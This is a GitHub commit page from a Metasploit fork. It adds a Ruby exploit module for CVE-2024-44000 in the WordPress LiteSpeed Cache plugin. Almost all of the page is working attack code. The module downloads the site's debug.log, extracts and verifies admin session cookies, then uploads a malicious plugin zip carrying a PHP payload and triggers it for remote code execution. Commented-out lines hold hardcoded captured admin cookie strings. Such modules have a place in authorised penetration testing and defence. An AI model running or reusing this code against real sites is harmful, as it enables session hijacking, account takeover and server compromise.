forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
85f344a
commit dd5dd54
Showing
1 changed file
with
161 additions
and
0 deletions.
There are no files selected for viewing
161 changes: 161 additions & 0 deletions
161
modules/exploits/multi/http/wp_litespeed_cookie_theft.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,161 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::HTTP::Wordpress | ||
include Msf::Exploit::FileDropper | ||
prepend Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft', | ||
'Description' => %q( | ||
Wordpress LiteSpeed Cache plugin cookie theft | ||
), | ||
'Author' => | ||
[ | ||
'?', # discovery | ||
'jheysel-r7' # module | ||
], | ||
'References' => | ||
[ | ||
[ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'], | ||
[ 'CVE', '2024-44000'] | ||
], | ||
'License' => MSF_LICENSE, | ||
'Privileged' => false, | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'Targets' => [['WordPress', {}]], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => '2024-09-04', | ||
'Notes' => | ||
{ | ||
'Stability' => [ CRASH_SAFE, ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, ], | ||
'Reliability' => [ REPEATABLE_SESSION, ], | ||
}, | ||
) | ||
) | ||
end | ||
|
||
def check | ||
|
||
return CheckCode::Unknown unless wordpress_and_online? | ||
|
||
res = send_request_cgi({ | ||
'uri' => '/wp-content/debug.log', | ||
'method' => 'GET' | ||
}) | ||
|
||
return CheckCode::Unknown('No response from the target') unless res | ||
return CheckCode::Safe('There seems to be no debug.log endpoint to pillage') unless res.code == 200 | ||
|
||
CheckCode::Vulnerable("Found cookie in debug.log") if res.body.include?("wordpress_logged_in") | ||
|
||
end | ||
|
||
def extract_cookies(debug_log) | ||
all_logged_cookies = [] | ||
debug_log.each_line do |log_line| | ||
match = log_line.match(/Cookie: (.*)/) | ||
all_logged_cookies << match[0] if match | ||
end | ||
all_logged_cookies | ||
end | ||
|
||
def extract_admin_cookies(all_logged_cookies) | ||
admin_cookies = [] | ||
all_logged_cookies.each do |log_line| | ||
match = log_line.match(/(wordpress_logged_in_[^=]+=[^;]+).*(wordpress_[^=]+=[^;]+)|(wordpress_[^=]+=[^;]+).*(wordpress_logged_in_[^=]+=[^;]+)/) | ||
admin_cookies << match.captures.compact.join('; ') if match | ||
end | ||
admin_cookies | ||
end | ||
|
||
def verify_admin_cookie(admin_cookies) | ||
admin_cookies.each do |admin_cookie| | ||
res = send_request_cgi({ | ||
'uri' => '/wp-admin/', | ||
'cookie' => admin_cookie | ||
}) | ||
if res&.code == 200 | ||
print_good("We've found and admin cookie, time to take over the world.") | ||
return admin_cookie | ||
else | ||
vprint_bad("Not an admin cookie") | ||
end | ||
end | ||
end | ||
|
||
def generate_plugin(plugin_name, payload_name) | ||
plugin_script = %Q{<?php | ||
/** | ||
* Plugin Name: #{plugin_name} | ||
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)} | ||
* Author: #{Rex::Text.rand_text_alpha(10)} | ||
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com | ||
* License: GPL2 | ||
*/ | ||
?>} | ||
|
||
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) | ||
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) | ||
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded) | ||
zip | ||
end | ||
|
||
def exploit | ||
|
||
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? | ||
res = send_request_cgi({ | ||
'uri' => '/wp-content/debug.log', | ||
'method' => 'GET' | ||
}) | ||
fail_with(Failure::UnexpectedReply,'No response from the target.') unless res | ||
fail_with(Failure::UnexpectedReply,'There is no /wp-content/debug.log endpoint on the target to pillage') unless res.code == 200 | ||
fail_with(Failure::UnexpectedReply,'The debug.log file was found but there are no cookies inside to steal.') unless res.body.include?("wordpress_logged_in") | ||
|
||
|
||
|
||
all_cookies = extract_cookies(res.body) | ||
|
||
fail_with(Failure::UnexpectedReply, 'There was an issue extracting cookies from the debug.log file') unless all_cookies | ||
print_good("Cookies were found") | ||
|
||
admin_cookies = extract_admin_cookies(all_cookies) | ||
vprint_good("One or more potential admin cookies were found") | ||
|
||
admin_cookie = verify_admin_cookie(admin_cookies) | ||
vprint_good("Verified we have a valid an admin cookie") | ||
|
||
print_status("Preparing payload...") | ||
plugin_name = Rex::Text.rand_text_alpha(10) | ||
payload_name = "#{Rex::Text.rand_text_alpha(10)}" | ||
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") | ||
zip = generate_plugin(plugin_name, payload_name) | ||
|
||
print_status("Uploading payload...") | ||
# require 'pry-byebug' | ||
# binding.pry | ||
|
||
#admin_cookie = "wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7C8d04a7bea4697a96e4259346dc07654a081597b5484fb91df2a883c72f69f49d; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7Cb4fb6a316b94520cb51847f71fed25da55d1bcbe8295870dbc6eaa6282654c3b" | ||
#admin_cookie = "wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7C8d04a7bea4697a96e4259346dc07654a081597b5484fb91df2a883c72f69f49d; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7Cb4fb6a316b94520cb51847f71fed25da55d1bcbe8295870dbc6eaa6282654c3b" | ||
|
||
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie) | ||
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded | ||
|
||
print_status("Executing the payload at #{payload_uri}...") | ||
register_files_for_cleanup("#{payload_name}.php") | ||
register_files_for_cleanup("#{plugin_name}.php") | ||
register_dir_for_cleanup("../#{plugin_name}") | ||
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5) | ||
end | ||
end |